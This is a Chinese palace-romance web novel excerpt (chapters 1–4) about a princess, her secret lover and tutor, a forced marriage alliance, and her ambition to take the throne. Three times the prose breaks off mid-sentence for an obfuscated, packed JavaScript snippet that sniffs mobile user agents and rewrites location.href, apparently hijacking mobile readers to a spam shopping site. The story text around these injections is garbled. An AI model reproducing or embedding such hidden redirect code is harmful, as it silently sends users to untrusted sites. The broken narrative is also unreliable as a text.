《竹马为后》 1. 雪夜 永初二年冬。 外头的雪打在窗棂上沙沙作响。 长宁长公主骆淮斜倚在贵妃榻上,听着底下的人回报。 “……千真万确,陆少傅回京了。” 午后暖阁里地龙烧得很足。穿着青灰袍子的小内侍跪在金丝地毯上,声音压低几分,“奴才亲眼瞧见的,车驾是今儿晌午进的城,先去了户部交割文书,申时三刻入的宫,在御书房待了半个时辰,出来的时候……” 他飞快地抬眼瞄了下榻上的人。 “出来的时候怎么?”骆淮问。 “是陛下亲自送到殿门外的。” 骆淮换了只手撑着腮,右手捻起琉璃碟中最后一颗葡萄。 “……知道了。” 她这么一动,身着的蜀锦宫装层层叠叠地散落在榻边,隐约露出一截细白的手腕,煞是好看。 内侍不敢再看,又等了片刻,确认公主没有别的吩咐,便起身弓着腰退了出去。 门刚关上,穿着鹅黄比甲的侍女便笑嘻嘻地凑上来。 “公主莫怕,陆大人这一去就是三个月,回来后公文怕是堆成了山,一时半会可顾不上您功课的,您就安心吧。” 骆淮眼风不动,边上另一个收拾果碟的宫女屠苏,表情却一言难尽。 “……雪芽,你玩去吧。” 明明都是跟着公主长大的,怎么就看不出公主得知陆少傅回京后,心里是欢喜的呢? “啊?”雪芽茫然,“我……我要服侍公主,玩什么?” “噗——” 骆淮终于忍不住笑出声,从榻上起身。 “雪芽,为我梳妆。” “哎?……是!” 海棠红的裙摆翩跹,径直去往了内室。 螺子黛描过眉峰,口脂点在唇珠上,胭脂在颊边晕开……梳妆台的镜中映出一张极尽姝丽的脸。 眼尾微微上挑,看人该是凌厉的,却偏偏生了一张饱满的唇,唇珠圆润,一笑起来,整个人都娇憨明艳。 此刻,镜中人的唇角便是向上扬着的。 ——他终于回来了。 骆淮瞥了眼身后的衾帐。 三个月前,就是在这一片退红色的帘纱里,她靠在陆俨亭怀中,缠着他承诺去岭南后要每旬给她寄一封信。 他穿着雪白的中衣,闻言眼皮都没抬一下,淡淡道:“殿下金枝玉叶,若与臣一介外男通信,有损您的名节。” 她气得咬他肩膀,他却愉悦地眯起眼睛,搞得她好像在奖励他一样。 呵。名节。 骆淮扯着嘴唇笑了笑。 今晚的太和殿,应当十分热闹。 皇兄三月未见的肱骨重臣平叛回朝,怎么也要办一场接风宴的。 群臣列坐,皇兄大约会说几句“爱卿辛苦了”,陆俨亭大概会跪拜谢恩,说几句“为陛下分忧乃臣分内之事”。 那么趁着这样的喜事,那道圣旨还会不会下呢…… 门外传来轻轻的叩门声。 “公主?”屠苏小声说,“今晚宫宴的衣裳已经让尚服局送过来了,您……” “让她们进来吧。” 宫人们鱼贯而入,捧着一叠叠衣裳,小心翼翼呈上来。 “这是织造署新贡的妆花缎,这是苏绣的百蝶穿花,这是云锦的……” “这件。”骆淮想都不想,径直指了指最当中那件石榴红的。 立在一侧的屠苏立刻捧场:“这个颜色可真好看,也只有公主这样的肤色能撑得起了。定然非常衬今晚的灯火!” 骆淮骄矜地扬起了下巴。 虽然她知道陆俨亭其实爱看她穿月白色。 去年春日宴,她穿了一身月白襦裙,在御花园的桃花树下站着,他远远看了她一眼,眼神却在她身上停了足足三息——她可数着呢。 她瞥了眼旁边那件月白织锦。 那又如何。 她干嘛投他所好。 * 夜色降临的时候,雪才堪堪有停的迹象。 太和殿里灯火通明,琉璃灯照得室内亮如白昼,桌前的一张张笑颜,表面上看来都是恭顺的。 年轻的皇帝坐在上首,身侧的宠妃正执壶为他斟酒。 往下看,他的臣子们分列两厢,觥筹交错间,最引人注目的仍然是那一道身影。 陆俨亭身着绯色的官袍,腰间玉带紧束,那张清俊如画的脸和素来宁和的神情,让他即使在满殿朱紫中也能轻易凸显出来。 他正与人说话,唇边噙着浅淡的笑意。 “陆少傅此行,可真是解了燃眉之急!” “可不是,岭南的那些叛军,不过一群乌合之众,陆少傅坐镇后方,几道政令下去,便叫他们内讧自溃了。” “以陆家在岭南的势力,当地豪族哪个不给三分薄面?这才是兵不血刃的上策。” “北戎的使臣在鸿胪寺干瞪眼呢,大约原想着咱们自顾不暇,这下,他们可没戏看了。” “陆少傅劳苦功高,当饮此杯!” “此言陆某愧不敢当。”陆俨亭始终保持着谦和的神色,“一切都是陛下圣明,在下不过跑腿办事,为陛下分忧。” 听到这话,皇帝才满意地饮了一口杯中的酒。 酒过三巡,皇帝揽着两个宠妃的腰提前离席,群臣们放开了些,各自推杯换盏,有人已经醉得东倒西歪。 陆俨亭放下酒杯,悄无声息地起身。 他的目光不自觉地往另一侧掠了一下。女眷们的席面隔着重重的帷幔,只能隐隐听见丝竹的声音。 他垂下眼走到廊下,让穿堂的冷风吹散自己身上的酒气。 虽然他自己并没喝多少,但他即将去见的人,定然不喜他沾上这样的气味。 过了好些许,他才转了步伐穿过游廊,又绕过假山,踏着积雪,往两人熟悉的见面方向走去。 身后传来细碎的脚步声,随即一双手臂从背后环了上来。 闻见熟悉的百合香,他没回头,手先覆上了腰间那双纤细修长的手。 “怎么这样冷,”他蹙眉,“没让人备个手炉?” “没来得及。” 骆淮把脸埋在他背上,闻见他身上沐浴过后的皂角香,还隐隐有一点松墨的味道,没有半分让她讨厌的酒意,“出来更衣,刚好看到少傅一个人在走廊上站着。” “……” 陆俨亭转过身来。 月色下少女仰着脸看他,发髻上的金步摇微晃,石榴红的裙角沾着雪。 气色还是很好,相较他离京前似乎没什么大变化。他略微宽心。 “少傅大人看来是真的醉了。”她看他久久凝着自己,唇边浮起一抹狡黠的笑,“连孤一直跟在身后都没发现。” 陆俨亭有些无奈地按了按眉心,把她两只手捉在自己掌心里暖着她,徐徐向长乐宫那扇朱红的侧门走去。 他边走边问:“殿下出来的时候,可曾遇着人?” “当然没有。”两人已走进暖阁,侍女已被提前遣了出去,骆淮懒洋洋地说,“孤是这么不谨慎的人么?” “殿下若真的谨慎,”他幽幽道,“就不会同臣……” 话音未落,她已环上他的脖颈,欢欣雀跃地吻了上去。 * 衾帐内温暖如春。 骆淮裹着被子,累得趴在他的肩头,看他不紧不慢地穿衣。 他的手很好看,修长冷白,骨节分明,好容易才系好中衣的带子,又去拿外袍。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347561|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 空气里氤氲着龙涎香的味道,覆盖了前一个时辰发生的一切。 “时候不早了。”他整理着衣袖垂眸,“殿下早些安寝吧。” 骆淮不说话了,只是伸手去扯那根刚系好的带子。 陆俨亭握住她的手腕,声音又哑了几分:“殿下?” “……你留下来嘛。”她在他颈窝里蹭了蹭。 他回过头,看到少女歪歪斜斜的坐姿叹了口气,又重新帮她拢好寝衣的领口。 指尖擦过她肩头月白色的小衣,陆俨亭的动作顿了顿。 今晚确实比之前出格些。 他眸光微暗,又听她道:“……今晚宫宴,我听说皇兄开恩留了好些人在宫里歇下呢。礼部的张大人、翰林院的宋大人,还有好几个,都赐了厢房。皇兄总不可能落了你吧?” 陆俨亭赞叹:“殿下真厉害,连这都一清二楚。” “那当然了。”骆淮有点小得意,“孤可有眼线。” “宗姚?”他略一沉吟便笑了,“他可真是什么都跟您说。” “你让他跟在孤身边的。”骆淮眉头一挑,“他之前是你的人,但现在,他只听孤的了。” 他缓缓点头。 “嗯。臣的人,自然都是殿下的人。” 她心里雀跃,软软又问道:“……你真的不留下来吗?我们从来没分开过这么久呢。” 帐中静了一息。 陆俨亭猛然回过身揽住她的腰,将她往怀里带了带。 “是啊,居然都三个月了。”他声音又低又哑,“臣每天都在想殿下……” 骆淮讶异抬头,对上他滚动的喉结。 自那件事之后,他难得肯说这样直白的情话。 下一刻,听到他说完后半句,长公主无言了。 “……的功课有没有好好学?” “陆!俨!亭!” 这么多年下来,她就知道这人嘴里吐不出什么好词! 骆淮瞪他,却见他那双素来清冷的眼睛里露出一点浅浅的笑意。 “你故意的吧?”她想掐他一把,但抬手就觉得酸痛,把手递到他面前。 他慢条斯理地帮她揉着手腕,“殿下既肯唤臣一声先生,臣……自然该担起本分。” “……”她不过是喊着玩的,他还真敢当真啊? “看来是没好好学。”陆俨亭故意叹了口气,挥手重新拉下了帘子,“臣既回京,那么明日的书画课照常。” “……” “现在,闭眼睡觉。”厚重的帘帐落下,遮住了摇曳的烛火,“要是睡不着的话,臣陪殿下先躺一会。” 这才对。 她笑了,乖乖闭上眼。 身后传来他的声音,低柔婉转,说着今日听闻的朝中的事,说岭南的土司,说她上次写的那篇策论的平仄还需注意。 陆俨亭说着说着,自己也有点困了。 他停顿下来,却在灯烛的噼啪中,听到少女清润的声音。 “皇兄又要我成婚了。” 他肩头一僵,直视上方漆黑的床顶,问都没问就平淡道:“我会想办法的。” “可我不想再这样下去了。” 她小声说。 陆俨亭眼眸微眯,唇边终于露出一个真心实意的笑容。 “我们这样,的确不是长久之策。”他循循善诱道,“所以殿下觉得……下一步应该怎么办?” 骆淮静默了片刻,不经意地说:“让我当皇帝。” 陆俨亭低下头,帐中昏暗的光线里,同他一起长大的小公主死死咬着牙,眼底的娇憨一寸寸褪去。 “殿下。”他平和地拂过她额上的乱发,凉笑一声,“您今夜特意把我叫来,就是为了说这个?” 2. 你别任性 翌日醒来的时候,枕边已经空了。 骆淮揉了揉眼睛,一晚上没太睡好。 梦里翻来覆去都是她和他吵架的片段,以及他那双清冷狭长的眼睛——他听完后,第一反应居然是对她发表了一通嘲笑! 她刚要反驳他那句“殿下又一时兴起了?”,便听见他开始一桩桩一件件列举她的那些“心血来潮”。 “十二岁,殿下结识云游的薛大家后嚷着要学筝,还指名要一把名叫‘金缕衣’的筝。臣托了在江南的族亲快马加鞭送过来,现在,那把筝怕是还在您书斋最底下的壁橱里吧。” “十五岁,殿下在云浮寺听僧人讲经,险些错过及笄礼,陛下和臣找了您三天,找到的时候,您眉目怔怔,说觉得自己是个有缘的,理应皈依佛门。” “……” 他将她年少往事如数家珍娓娓道来,嗤笑道:“现在,殿下是又打算造您最心爱的兄长的反了?” 如此不敬之言就这么轻易说了出来,她扑过去捂住他的嘴。 对上他宛若外头的雪般的寒凉目光,她张口结舌,半晌才道:“……那都是很久以前了,我当时还那么小。” 陆俨亭哦了一声。 “那么两年前呢。” “两年前您刚和我定情,没过多久又说,不愿嫁我,要跟我断了。” “前后没超过一个月。” 骆淮:“……” 他又来了。 “后来陛下大婚当夜,殿下又做了什么?” 他停顿片刻,声音像从齿缝里挤出来似的,垂眼直直看着她。 她仍不答。 他冷着脸按她躺下,把她的被子往上掖了掖。 “睡觉。明日还要上课。” …… 门外传来轻轻的叩门声,是屠苏压着嗓子问道: “公主,辰时了。您……” “进来吧。” 骆淮掀开帘子,平着声音说。 屠苏端着铜盆进来,身后跟着两个小宫女,捧着巾帕和香膏。 净面漱口完毕,小宫女们退了出去,屠苏为她披上今日要穿的衣裳。 藕荷色的袄裙,领口绣着如意莲纹,不张扬,但处处清雅精致,衬着少女宛如出水芙蓉。 “公主……” 屠苏下意识地开口。 骆淮正皱着眉对镜,审视自己的黑眼圈:“嗯?” 屠苏艰涩地说:“昨夜……您和陆少傅,是……” 她在外头听到了两人隐约的争吵声。 她年长雪芽几岁,心思缜密,每逢陆少傅过来,公主都是让她值夜的。 不过自打她知道了公主和陆少傅的事,她就一直对他颇有微词。 那张脸好看是好看,但冷得像腊月的雪,看谁都一个温度,谁知道那副皮囊底下装的是什么心? 公主美貌,上京皆知。又认识这么多年,知根知底。他若真心爱重,便该求陛下赐婚。 现在这样,算什么呢。 三月未见,不用心侍奉公主,居然……还敢与公主发生口角! 屠苏见公主一直不说话,心中闷闷,手上却没停,帮骆淮扶正了头上有些歪斜的簪子。 却突然听到镜前的少女淡漠道:“是他不识抬举。以后我不会见他了。” 屠苏一呆,喜上眉梢:“真的?……太好了!” 骆淮:“……” 用过早膳,骆淮铺开雪白的宣纸。 一边蘸墨,一边想着怎么逃掉下午的书画课。 莫名其妙。 没见过像陆俨亭这么爱翻旧账的人。 他既如此委屈,又为何每次都随叫随到? 好像他不乐意……她真的能强迫他一样。 她绷直嘴唇,刚写了几行字,门外便传来小太监小心的声音。 “长公主殿下,陛下下了朝,在紫宸殿有请。” 啧。 果然来了。 * 紫宸殿。 到的时候,殿门外的内侍高声通传,骆淮提着裙摆跨过门槛,看见她的皇帝兄长坐在御案后,手里拿着一本奏折,正认真阅读着。 殿内伺候的人都被遣了出去,只余这对大周朝最尊贵的兄妹。 “长宁参见陛下。” 她屈膝行礼。 永初帝没抬头,翻了一页奏折:“起来吧。” 骆淮站起来,在御案近前就是一坐。 御案上的香炉里燃着浓重的香料,能看见烟缕细细的形状。 折子又翻了一页,骆淮仍然不动声色。 良久,永初帝终于把手里的纸张放下。 “长宁。” “臣妹在。” “你昨夜又见陆俨亭了?” 骆淮眨了眨眼,干脆地承认:“对啊。” 永初帝骆灵均噎住了。 他看着底下这个一母同胞的妹妹,两人从小一起长大,按理说应该是最亲近的人。 但有时候她的脾气也实在令他琢磨不透。 说她乖吧,她什么事都敢做;说她不乖吧,她认起来比谁都痛快。 虽然,认完又继续做。 皇帝沉默了一会儿,端起茶盏抿了一口,放下。 “你过了年就十九了。” “该懂事了。” 他拿起案上的另一份函件,往她那边推了推。 骆淮扫了一眼,熟悉的封皮,熟悉的火漆印,熟悉的字体。 北戎的国书。 她没伸手去拿,抬头望向永初帝的衣袍:“这封信,几天前皇兄不是给臣妹看过了么?” “你当时说,给你几天时间考虑。”永初帝靠进软垫,“考虑得怎么样了?” 骆淮搭着眼帘,没什么表情。 永初帝看着那张脸,忽然想起一个时辰前,紫宸殿的地砖上跪着的另一个人。 陆俨亭身着绯色的官袍,脸色苍白,背脊笔直。 他当时正读着陆俨亭今早刚呈上来的奏对,寥寥几言,条陈同北戎和亲之弊——一弊岁贡虚增,国帑空耗;二弊长公主下嫁,大周颜面扫地;三弊……三弊写的是边防空虚,北戎若借和亲之名行渗透之实,三年内必成肘腋之患。 陆俨亭昨天才刚回京,晚上又是宫宴,消息居然得知得如此之快,又在这么短时间内,拟出这么一封条理清晰的奏折。 他放下折子看了陆俨亭一眼,便见青年倏地撩袍跪倒,额头触地。 “臣,求陛下赐婚。” 他当时喉咙里的茶水差点喷出来,赐婚?赐你和谁?长宁?你们二人如今的光景,还需要朕赐婚? 何况长宁她…… 想到这里,永初帝摸了摸鼻子。 他是不是有点太不近人情了? 看着底下肤白如玉的妹妹,他放软了声音。 “长宁。” 骆淮又应了声:“臣妹在。” 永初帝注视着她那双眼睛,是同母妃一样的又圆又亮,小时候撒娇的时候扑闪扑闪的,现在不撒娇了,还是扑闪扑闪的,只不过看他的时候多了点戒备。 “阿淮,”他说,“帮帮哥哥。” 永初帝语速缓而弱,“听说北戎那位大君年纪已大,长宁,你嫁过去,给咱们一点喘息的时间。等他死了……” 他朝她露出一个讨好的笑。 “等他死了,朕就让俨亭接你回来。” 骆淮的眼睫毛匪夷所思地抖动了一下。 永初帝没注意,继续道:“如今风气宽松,丧夫二嫁乃是稀松平常之事,你又是朕最心爱的胞妹。到时候,无需俨亭,朕也能乾纲独断,坐稳江山,必然给你们赐婚。” 骆淮却问:“北戎那边,只给他们一个公主,就真的能让他们满意?” “会的。” 永初帝的语气笃定。 “北戎大君派使臣来,带着诚意,是想跟咱们结秦晋之好。” “南边的叛军打了半年才结束,要不是我派俨亭南下,用计分化了各部……” 他慢慢地说着在脑子里过了几遍的话,“朝廷兵马折损 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347562|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚重,为了稳定南疆的局势,朕又把北边三州的驻军调了一半过去。若这边又惹怒北戎,我朝即使勉力一战……终究劳民伤财。” “阿淮,哥哥当皇帝不容易。当年从那么多皇子里厮杀出来,每一步踩在刀尖上。”兄长推心置腹地说,“现在,朕初登基,位置还没坐热乎,又遇上叛乱。当年母妃走得早,哥哥每天殚精竭虑,就想着怎么护住你……” 他的声音有些发涩。 “现在,再帮帮哥哥。好不好?” 骆淮定定望着他。 御案后的人,峨冠博带,天家威仪,是她从小到大最熟悉的兄长。他比她大六岁,和陆俨亭同龄。 小时候他把她抱在膝头,教她写字,她最先学会的三个字就是他的名字。后来他登基了,次日就封她为长公主,让她享受无尽尊荣。 此刻,他神情哀恳,眼底含着泪花。 与两年前,他撞见陆俨亭执着她的手,两人在案前一同作画后,当日深夜便抿着唇来寻她时的模样,几乎重合了。 那时,他也是像现在这样,眼底微凉,郑重其事地对她说: “长宁,你别任性。” “我与俨亭交好,是为了让他辅佐我登上大位。我不能让他做你的驸马。” …… 什么? 任性? 骆淮快要气晕了! 现在回想起来,她真的是被他哄得团团转吧?放眼大周朝,还有哪位骆家人能像她这么善解人意又聪慧机灵? 她主动和陆俨亭提了分开,她乖巧懂事为骆灵均攒名声。父皇还在的时候,她呕心沥血,卧薪尝胆,从人人可欺的冷宫孤女变成父皇最宠爱的长宁公主。凡是见到父皇,她哪次没旁敲侧击说兄长的好话? 到头来,骆灵均就这么对她? 她看明白了,什么兄妹情深,什么大局为重,都是哄她的!给她画饼呢! 她才不要和亲!她也不要嫁老头,做寡妇! 骆淮抬起头,冷笑着一字一顿: “要和亲,你自己去!” “……” 骆灵均见妹妹神色似有动容,心下一松以为她接受了,却目瞪口呆地听到这样一句。 “阿淮,你——” “臣妹胡言乱语,先行告退。” 她连礼都懒得行了,草草福了一福,便欲旋身离去。 “哦,还有。” 她想起了什么,面无表情地回头,“我走进来的时候,你读的奏折,上下拿反了。” 紫宸殿外的甬道很长,目之所及是红砖青瓦的深宫。 是她生在这里,长在这里……她熟悉这个紫禁城的一切! 骆淮牵唇,扭头看着已经离她稍远的牌匾。 紫宸殿。 君王住所。 她盯着那三个字好一会儿,咯咯笑了起来。 哥哥。 既然我当初已经把陆俨亭让给你的权谋大业了。 作为交换——不如就把皇位让给我吧。 当然了。 ——等她得了皇位,陆俨亭也还会是她的。 骆淮想到昨夜陆俨亭看她的那副不相信的模样,眼底的墨色慢慢翻涌起来。 他觉得她是心血来潮。 他竟然不肯帮她? 且等着吧。 她会让他知道她想要的人,想要的东西,从来没有得不到的。她会让他让他刮目相看,让他恭顺地低下头,再不敢质疑她半点…… 骆淮深吸了一口气,转过拐角,眼前忽然一暗。 她只来得及唔了一声,整个人便撞进一个高大的影子里。 她微微一惊,阴影中出现陆俨亭的面容。他高她一个头有余,轻轻巧巧地就把她捞进怀里固定在身前。 声音仍是不疾不徐的:“殿下是在想什么开心事,笑成这般,连路都不看了?” 骆淮:“……” 他正低眉看着她,衣襟冰冰凉凉,像是在这里等了好一会儿。 骆淮:“你在这里又是做什么?” 3. 枕流 “刚下朝,准备回府。”陆俨亭老老实实地说。 骆淮本是随口一问,闻言后冷淡点头,“哦,那陆大人请便。” 话音刚落,却觉手心一暖。 一只黄铜手炉被塞进手里,炉身的热度渐渐蔓延开来。 “雪化了,寒气重。”他的目光落在她的披风上,“怎么不乘车舆?” 骆淮:“一时兴起,想走走。” 陆俨亭:“……” 他顿了顿,又问:“课业如何?臣离京前留的那几册《资治通鉴辑要》,殿下可读完了?” “读完了。” 他微微颔首:“甚好。史鉴明得失,知兴替。今日午后,我们便从‘文景之治’讲起,论休养生息之道……” “我下午告假了,已让宗姚传过话。”她不大高兴地打断他。 陆俨亭眉梢微挑:“为何告假?殿下身体不适?” “没有不适。”骆淮平淡道,“就是不想上。” 她把手炉往怀里揣了揣,转身欲走。 却听陆俨亭在身后道:“本朝百年有余,未曾听说出过不学无术的天子。” 骆淮:“……” * 最后还是没告成假。 文华殿东侧的漱玉斋,屋内窗明几净,北面一整墙的黄花梨书架直抵梁下,垒着经史子集。 南窗下,骆淮坐在紫檀木书案前,摊开一张澄心堂纸。 这地方是皇兄登基后特地为她辟的。 骆淮从小没正经读过什么书,宫里对公主的教养,无非认几个字,读几本《女诫》《列女传》,学些针织女红。 但她是新帝的胞妹,她跟骆灵均说想读书,读那些正经的书,他便应允了,经义、史论、策问,六艺俱全,请了致仕的翰林学士和世家名流,轮流为她讲学。 朝臣们倒也无甚异议,都认为是女儿家无聊,更何况横竖也就只教她一个公主,费不了多少心力。并且先帝在世时,就曾抚着她的头赞过:“此女聪颖,不逊男儿。” 书画课则是陆俨亭来教,每旬一次。 说起来也顺理成章,陆家满门簪缨,陆俨亭的祖父是骆淮祖父的帝师,父亲是先帝的伴读,他自己也曾是骆灵均的伴读。 所以,教个公主倒也绰绰有余。 他很有些古板的讲究,每次上课必要她先练一盏茶的字,说是养人心气神,课后,又必留功课。 偏偏骆淮是个能拖则拖的性子,每每要拖到下次课前夜才不紧不慢地赶完。是以为她研墨的雪芽常忿忿不平:“陆少傅也忒严了些……公主的手都写酸了!” 此刻,她执着狼毫笔,在宣纸上落下整整齐齐的楷书。墨是陆俨亭方才亲手研的,上好的松烟墨,墨香清冽。 年轻的少傅坐在她身侧,手里执着一卷《贞观政要》。 室内极静,只余笔尖沙沙声和书页翻动声交替响起。 等到练完字,陆俨亭又抽查她背书。 骆淮对答如流,从“民惟邦本”到“水能载舟”,一字不差。 陆俨亭眼底掠过一丝诧异,嘴唇一弯赞许道:“殿下这几月,确是下了苦功。” 骆淮不语,换过一张新纸。 按照他课前说的,只要再写一篇策论,今日便能解脱了。 她刷刷刷地奋笔疾书,陆俨亭抬眸看她的一笔一画。 之前,她的字总有股鲜活的气息在,恣意如狂草。写得急了,笔画就飞起来;写得高兴了,墨就浓一点。 现在,她每一个字都工工整整,落笔规范,像从字帖上拓下来的。 和他离京前那个娇嗔的小公主……竟是判若两人。 昨夜离去后,他方在府中留的人手处得知北戎使臣一事,今早匆匆觐见皇帝。 紫宸殿中,永初帝面对他的求恳,只温声道容后再议。 他又想起早朝时,以礼部尚书为首的一干老臣,慷慨陈词“公主和亲乃固国之策”…… 眸底凉意渐深。 他思绪翻滚间,骆淮已经写完最后一个字,搁下笔,从手边的匣子里取出一枚小印。 她蘸了朱砂印泥,在文章末尾轻轻按了下去。 “哒”的一声轻响,陆俨亭闻声看过来。 “写完了?” 他起身取过她的卷子,逐字逐句阅读这篇《论漕运利弊疏》,眉目渐舒。 条理清晰,论据扎实,甚至引用了去年户部的漕粮数据。可见她确是认真查过典籍的。 翻到最后,看见“枕流”两个朱红小篆。 陆俨亭眉心一动,望向骆淮手中那枚正在把玩的印章。 少女朝他投来嚣张的一瞥。 “……写得很好。”陆俨亭顿了顿,轻声说。 骆淮从他手中夺回卷子,看到雪芽已经在门外探头探脑,唰地站起身。 “天色不早了。少傅若觉得长宁的功课尚可,长宁便先告退了。” 陆俨亭静默了会,又唤她:“枕流……” 骆淮:“请少傅大人自重。孤的小字,非亲近之人不喊。” 陆俨亭一愣。 看着她抿成一条直线的唇,以及她今日不同寻常的态度,才后知后觉地意识到…… 她是生气了。 想起他昨晚的话,他拧着眉头,难得显出几分无措。 “……是我不好,不该说那些话惹你不快。今早我……” “你什么?”骆淮抢白道,“少傅大人说得原也没错。是孤先招惹你,又与你断情,随后又在皇兄登基当夜轻薄于你。你觉得孤恣意任性,孤不值得托付,亦是人之常情。” “是孤妄图挟恩图报了。” “母后还在慈宁宫等着孤用晚膳,便不同少傅大人叙旧了。” 她平静道。 * 慈宁宫。 太后这里,永远都是温暖的。 地龙烧得足,熏笼里燃着百合香,桌上都是她爱吃的菜。 清蒸鳜鱼、蟹粉狮子头、火腿笋汤、一整只炖得酥烂的八宝鸡,还有几笼精巧的点心,枣泥山药糕、玫瑰酥、酥油鲍螺……看着就让她食指大动。 骆淮亲亲热热地请了安,刚落座,谢太后身边的贵嬷嬷就笑吟吟地给她布菜。 对面穿着大红织锦的皇后也夹了块狮子头放进她碟中。 “多吃点,长宁。”谢太后怜爱地看着她,“怎么看起来恹恹的?昨夜没睡好?” “写功课到后半夜呢。”骆淮面不改色地推给陆俨亭,反正也确实是他的错,“陆先生回来了,要查我学业。” “你也忒实诚了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347563|199544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢太后又好气又好笑,“不知道朝先生撒个娇耍个赖吗?你皇兄小时候背书,可没你这么较真。” 贵妇人眼角的细纹盛满温和的笑意,骆淮笑着应是。 谢太后待她的确是极好的。 尽管她并非她的生母。 她的母亲,原先在宫里极为受宠,却不慎触怒了先帝,被贬去了永巷,膝下的皇子也被交由旁人抚养。 到永巷没过多久,母亲便发现了自己怀有身孕。但生下她之后,才被先帝重新赐了封号搬出永巷。 出来不过一两年,母亲便病逝了。随后,骆淮便被当时的中宫皇后——如今的谢太后收养在膝下。 “听说北戎使臣今日进宫了?”太后抿了口茶,转向皇后,眉头微蹙。 “……是。”皇后低声道,“听鸿胪寺那边的意思,似是……和亲之事。” 席上静了静。 先帝晚年戾气渐重,几个年长的皇子说杀就杀,甚至连女儿都不放过。永初帝能活下来,全是因为他那时候年纪小,又“纯良孝顺”。 是以适龄的皇室女,满打满算如今也就骆淮一位。宗室里倒有几个县主,年纪都对不上。 贵嬷嬷见众人神色各异,气氛凝滞,忙笑着岔开话头,说起她听来的一件趣事。 她是听尚食局交好的老姐妹说的:“听说,北戎使团对席上的中原菜式赞不绝口,尤其那云片糕,竟多要了好几份呢。” “云片糕?”皇后抿唇浅笑,“臣妾十二三岁时也极爱云片糕,那时觉得甜香可口,一日能吃好几块。如今再尝,倒觉得腻了些。北戎苦寒之地,怕是少见这般精细点心。” 她目光落至骆淮身上,突然意识到自己话中不妥之处,慌忙垂头。 “……臣妾失言了。” 太后责备地看了她一眼,又见骆淮似未察觉,只垂眸认真饮汤。 罢了,长宁心思单纯,大概未听出其中意味。 但骆淮想的却不是这个。 她在书上读过,北戎与大周不同,不循嫡长继承制,而是令幼子守灶,家业多由最小的儿子继承。 她咂摸出这里面的不对来了。 北戎大君年逾五十,使臣亦该是沉稳老练之人,怎的对甜点如此热衷?像是没见过世面的孩童行径。 莫非……使团中有年幼之人,且身份不凡。 * 用过晚膳,骆淮借口消食,悄悄绕去了设宴的太和殿。 结果,居然真的让她发现了点什么。 路过偏廊,她望见殿外朱红柱子后躲着个人,背影鬼鬼祟祟。 陌生的装束,锦袍外罩着雪白狐裘,发辫缀着彩珠,瞧着比她矮半个头,正仰着脸,好奇地打量廊下挂着的八角琉璃宫灯。 竟是个半大少年。 骆淮眯起眼睛,缓步走近。 “你……” 那人被她的声音惊了一跳,猛地回头,同时发出一声短促的尖叫: “啊——!” 不远处很快有巡值侍卫的脚步声传来:“谁在那里?” 骆淮沉默了一下,便见那孩子像受惊的兔子般,提着袍角一溜烟钻进廊柱后,往北侧宫道疾奔而去了。 骆淮:“……” 瞧这路线,倒像是去往她的长乐宫啊! 4. 朱砂痣 骆淮沿着雪地上的脚印慢慢走着,转过一处月洞门,昏黄的宫灯下,一道颀长的身影静立在阶前。 陆俨亭身着深青色常服,外罩玄色大氅,毛领衬得他下颌线条愈发俊朗。 骆淮心想现实和她今天早上跟屠苏说的话真是反着来的。 刚说完“以后不会见他了”。 结果白天在宫道上见了第一次,午后在漱玉斋见了第二次,这深更半夜的…… 又是第三次了。 骆淮面色未改:“少傅大人在此作甚?” “臣今日在内阁值夜。”他朝她走近两步,从袖中取出一物,“殿下的小印,落在漱玉斋了。” 骆淮下意识摸了摸怀里,果然是空荡荡的。 傍晚走得急,竟真忘了拿。 她伸手去接,他却蓦然收回了手。 “?”骆淮抬眼。 “这印是我刻的。”陆俨亭一本正经道。 “那又如何?”骆淮冷冷道,“你既已送我,便是我的了。” “哦?所以你并非不想要它,也并非刻意遗落,为将它归还于我?” 他修长手指把玩着那枚印,朝她看来,“毕竟你无论对待故人,还是故人之物……向来是说弃就弃。” 现在又不是那个一言一行必恭谨有礼的少傅大人了。他连敬称都不用。 陆俨亭竟敢讽刺她? 骆淮嗤笑:“人和物件能相提并论?少傅大人自甘与一枚小印相比?” 她劈手夺过那枚小印,看也不看便往身侧的花丛里一掷。 青田玉没入枯枝残雪,发出一声闷响。 紧接着便传来一声痛呼—— “哎哟!” 两人同时色变。 陆俨亭反应极快,身形一闪已掠至花丛前,寒着脸拨开枯枝。 月光下,那个裹着雪白狐裘的半大少年蜷缩在里头,正捂着额头,满脸惊惶。 少年涨红着脸,嘴唇翕动,却发不出一个清晰的音节。 陆俨亭扫了眼他异族的装束和相貌:“哦,北戎的小畜生。” 